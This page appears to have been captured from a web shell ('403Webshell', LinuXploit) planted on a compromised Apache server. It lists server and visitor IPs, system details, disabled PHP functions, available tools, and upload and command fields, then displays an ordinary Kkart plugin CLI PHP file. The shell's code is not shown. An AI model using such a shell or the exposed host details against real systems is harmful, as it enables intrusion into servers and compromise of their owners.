403Webshell
Server IP : 213.32.127.20  /  Your IP : 216.73.216.174
Web Server : Apache
System : Linux ns3.servidorneptuno.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : atoqsfjh ( 1072)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/sitepad/editor/site-data/plugins/kkart-pro/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/sitepad/editor/site-data/plugins/kkart-pro/includes/class-kkart-cli.php
<?php
/**
 * Enables Kkart, via the the command line.
 *
 * @package Kkart\CLI
 * @version 3.0.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * CLI class.
 */
class KKART_CLI {
	/**
	 * Load required files and hooks to make the CLI work.
	 */
	public function __construct() {
		$this->includes();
		$this->hooks();
	}

	/**
	 * Load command files.
	 */
	private function includes() {
		require_once dirname( __FILE__ ) . '/cli/class-kkart-cli-runner.php';
		require_once dirname( __FILE__ ) . '/cli/class-kkart-cli-rest-command.php';
		require_once dirname( __FILE__ ) . '/cli/class-kkart-cli-tool-command.php';
		require_once dirname( __FILE__ ) . '/cli/class-kkart-cli-update-command.php';
	}

	/**
	 * Sets up and hooks WP CLI to our CLI code.
	 */
	private function hooks() {
		WP_CLI::add_hook( 'after_wp_load', 'KKART_CLI_Runner::after_wp_load' );
		WP_CLI::add_hook( 'after_wp_load', 'KKART_CLI_Tool_Command::register_commands' );
		WP_CLI::add_hook( 'after_wp_load', 'KKART_CLI_Update_Command::register_commands' );
	}
}

new KKART_CLI();

Youez - 2016 - github.com/yon3zu
LinuXploit